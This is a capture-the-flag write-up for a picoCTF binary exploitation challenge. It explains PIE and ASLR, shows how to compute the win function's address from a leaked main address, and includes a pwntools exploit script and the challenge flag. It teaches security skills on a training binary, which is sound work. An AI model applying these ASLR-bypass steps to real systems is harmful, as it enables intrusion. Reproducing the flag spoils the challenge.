The challenge provides us the binary and the C code.

The code has a win function which prints the flag using fopen.

It also prints the address of main in the main function.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

You can see that the binary is a pie executable.

file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped

If you don’t pass the -no-pie option when compiling the elf file it will be a PIE executable.

By default PIE is enabled.

What is PIE and what does it do?

PIE (Position Independent Executable) basically changes the base address of the binary every time you run it.

Well, what’s the base address then?

The base address is the starting address of the binary when the binary is loaded into a process’s virtual address space.

You can run the binary with gdb and then pass info proc mapping or vmmap to check the binary base.

gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /picoctf/pwn/pie_time/vuln
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /picoctf/pwn/pie_time/vuln
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw- 
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw- 
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw- 
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

We saw from the C code above that it prints the main address.

I ran the binary 3 times in a row.

./vuln 
Address of main: 0x562371fc733d
Enter the address to jump to, ex => 0x12345: 
^C
./vuln 
Address of main: 0x557436e6933d
Enter the address to jump to, ex => 0x12345: ^C
./vuln 
Address of main: 0x561ad164f33d
Enter the address to jump to, ex => 0x12345: ^C

You can see that the address of the main function changes every time I run it.

However there are certain numbers in the memory address that don’t change.

The last 3 numbers, in our case 33d is not changing.

The last three nibbles (the last 12 bits) of the memory address don’t change because they represent the offset within a memory page, not the randomized base address.

The OS randomizes the address on a page-by-page basis.

The computer’s memory is organized into fixed-size blocks called pages.

These are typically 4 KB (4096 bytes) on most systems. The operating system’s memory management unit (MMU) works with these pages, not with individual bytes.

When the operating system’s Address Space Layout Randomization (ASLR) feature loads a PIE binary, it doesn’t choose a completely random 64-bit address.

Instead, it chooses a random page-aligned address for the program’s base. This means the base address will always be a multiple of the page size.

A page size of 4 KB is 0x1000 in hexadecimal.

Any address that is a multiple of 0x1000 will have its last three nibbles be 000. For example, 0x555555554000, 0x555555620000, and 0x7f451a231000 are all page-aligned.

Another important fact in PIE binaries is that although the base of the binary changes, the offsets to each function doesn’t.

gdb will tell us the offset to the function and not the memory address because the addresses of the functions change every time when running the binary.

On the other hand, the offsets to the function’s in the binary don’t.

Since the binary gives us the main function’s address we can subtract the main function’s offset to get the binary base.

gef➤  p main
$1 = {<text variable, no debug info>} 0x133d <main>
 ./vuln 
Address of main: 0x55b17ccb733d
Enter the address to jump to, ex => 0x12345: 

So in this case the binary base would be 0x55b17ccb733d - 0x133d = 0x55b17ccb6000.

Now you can see that base address has 000as the last 3 digits due to page-alignment in the OS.

Then we need to call the win function, gdb will also calculate the offset to the win function from the base address.

gef➤  p win
$1 = {<text variable, no debug info>} 0x12a7 <win>

You can add the offset from the base address to calculate the actual win address.

0x55b17ccb6000 + 0x12a7 = 0x55b17ccb72a7.

0x55b17ccb72a7 is the win address.

Entering the win function’s address will get you the flag, but since I didn’t make the flag.txt file locally I get an error.

 ./vuln 
Address of main: 0x55b17ccb733d
Enter the address to jump to, ex => 0x12345: 0x55b17ccb72a7
Your input: 55b17ccb72a7
You won!
Cannot open file.

You can also calculate the process above by hand, but it required a lot of typing.

Instead of typing address with my hands I wrote a pwntools script.

from pwn import *

r = remote("rescued-float.picoctf.net", 59462)
e = ELF("./vuln")
r.recvuntil(b"Address of main: ")
main = int(r.recvline().strip().decode("utf-8"), 16)

print(hex(e.symbols["main"]))
base = main - e.symbols["main"]
print(hex(e.symbols["win"]))
win = base + e.symbols["win"]

r.sendline(hex(win).encode("utf-8"))
r.interactive()

The flag is picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_cb52e722}.

To be honest I don’t think this challenge is easy. lol

For more detailed explanations on what PIE is check here.

  1. https://guyinatuxedo.github.io/5.1-mitigation_aslr_pie/index.html#pie

  2. https://pwn.college/intro-to-cybersecurity/binary-exploitation/ (PIEs)